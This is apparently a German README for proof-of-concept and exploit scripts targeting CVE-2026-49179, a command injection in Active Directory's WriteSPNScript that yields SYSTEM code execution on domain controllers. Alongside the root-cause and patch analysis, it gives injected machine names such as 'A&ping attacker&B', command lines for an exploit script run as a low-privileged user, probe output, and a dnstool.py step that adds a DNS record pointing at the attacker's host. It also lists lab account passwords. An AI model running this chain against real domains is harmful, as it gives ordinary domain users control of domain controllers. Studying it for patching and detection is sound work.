
Proof-of-Concept- und Exploit-Skripte für CVE-2026-49179, eine Command Injection in der WriteSPNScript-Funktion von Active Directory, die SYSTEM-RCE auf Domänencontrollern ermöglicht.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Command Injection) |
| Betroffene Komponente | ntdsai.dll — WriteSPNScript-Funktion |
| Betroffene Systeme | Windows Server 2016, 2019, 2022, 2025 (vor dem Patch) |
| Angriffsvektor | Authentifizierter Domänenbenutzer (beliebiger) |
| Auswirkung | Remote Code Execution als SYSTEM auf dem Domain Controller |
| Veröffentlicht | August 2026 |
Die Funktion WriteSPNScript in ntdsai.dll generiert Batch-Skriptbefehle für die SPN-Behebung (Service Principal Name) während Active-Directory-Wartungsvorgängen. Die Funktion verwendet eine Formatzeichenfolge, um repadmin.exe /writespn-Befehle zu erstellen, versäumt es jedoch, den Distinguished Name (DN)-Parameter zu bereinigen, wodurch eine Befehlsinjektion über das Zeichen & (cmd.exe-Befehlstrennzeichen) ermöglicht wird.
Die verwundbare Formatzeichenfolge:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parameter: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
Der DN wird aus dem Common Name (CN) des Maschinenkontos abgeleitet, der bei der Kontoerstellung festgelegt wird. Wenn ein Maschinenkonto mit Shell-Metazeichen im Namen erstellt wird, gelangen diese Zeichen unescaped in das generierte Skript. Wenn cmd.exe das Skript ausführt, wirkt & als Befehlsseparator und führt vom Angreifer kontrollierte Befehle als SYSTEM aus.
Active Directory verfügt über zwei primäre Protokolle zur Verwaltung von Maschinenkonten:
| Protokoll | Zeichenvalidierung | Shell-Metazeichen |
|---|---|---|
| LDAP (SPN-Werte) | Strikt — CONSTRAINT_ATT_TYPE lehnt & ; | ' \ $ ( )` ab | Blockiert |
| SAMR (Maschinennamen) | Locker — validiert das grundlegende Format des Kontonamens | Erlaubt: & ' \ $ ( ) ! Leerzeichen` |
Diese Asymmetrie der Validierung ist die Grundursache:
sAMAccountName, der zum CN wird und in den DN fließtWriteSPNScript übergebenAn der Adresse 0x1802a98a0 im ungepatchten Binary:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formatiert den DN direkt in den Ausgabepuffer. Keine Escaping, keine Quotierung, keine Bereinigung.
Für einen Rechner mit CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interpretiert dies als fünf separate Anweisungen:
| # | Anweisung | Ergebnis |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Schlägt fehl (abgeschnittener DN) |
| 2 | ping attacker | INJIZIERT — wird als SYSTEM ausgeführt |
| 3 | B,CN=Computers,DC=... HOST/A | Schlägt fehl (kein gültiger Befehl) |
| 4 | ping attacker | INJIZIERT — wird erneut ausgeführt (aus dem SPN-Parameter) |
| 5 | B | Schlägt fehl (kein gültiger Befehl) |
Der injizierte Befehl erscheint zweimal — einmal aus dem DN-Parameter und einmal aus dem SPN-Parameter (der ebenfalls den Maschinennamen enthält).
Das gepatchte WriteSPNScript (Größe: 1477 → 2005 Bytes) nimmt drei Änderungen vor:
Zwei neue Sanitierungsfunktionen, die auf beide Parameter — DN und SPN — angewendet werden:
EscapeForPowerShellSingleQuote() — maskiert ', um ein Ausbrechen aus einfach-quotierten Strings zu verhindernEscapeForNativeArgvBackslashesBeforeDoubleQuote() — maskiert \-Sequenzen vor " für die native argv-Analyse| Basis (anfällig) | Gepatcht | |
|---|---|---|
| Funktion | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Quotierung | Keine | Einfach-quotierte Parameter |
| Ausgabe | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
Eine frühere Revision enthielt ein Feature-Flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, das den Fix steuerte. Im finalen Patch wurde dieses Flag entfernt — der Fix ist immer aktiv und kann nicht deaktiviert werden.
| Host | Rolle | IP | Betriebssystem |
|---|---|---|---|
| WINTERFELL | Domänencontroller | 192.168.56.11 | Windows Server 2019 |
| Angreifer | Kali Linux | 192.168.14.238 | Kali 2026 |
| Domäne | north.sevenkingdoms.local | ||
| Benutzer mit geringen Rechten | samwell.tarly / Heartsbane | Normaler Domänenbenutzer | |
| Admin-Benutzer | robb.stark / sexywolfy | Domänenadministrator |
Mit spn_probe3.py wurde getestet, welche Zeichen SAMR in Maschinenkontonamen akzeptiert im Vergleich zu den Zeichen, die LDAP in SPN-Werten akzeptiert:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Zentrale Erkenntnis: SAMR erlaubt alle 8 getesteten Shell-Metazeichen. LDAP blockiert alle. Der Injektionsvektor verläuft über von SAMR erstellte Maschinennamen, nicht über SPN-Werte.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Auch als samwell.tarly erstellt:
[+] Created C&ping a&D$, RID: 1138
Bestätigt: Ein normaler Domänenbenutzer (PR:L) kann Maschinenkonten mit &-Befehlsinjektion im Namen erstellen.
Normale Domänenbenutzer können ADIDNS-Einträge hinzufügen. Verwendete dnstool.py, um einen kurzen Hostnamen zu erstellen, der auf den Angreifer zeigt:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Verifizierte Auflösung auf DC:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238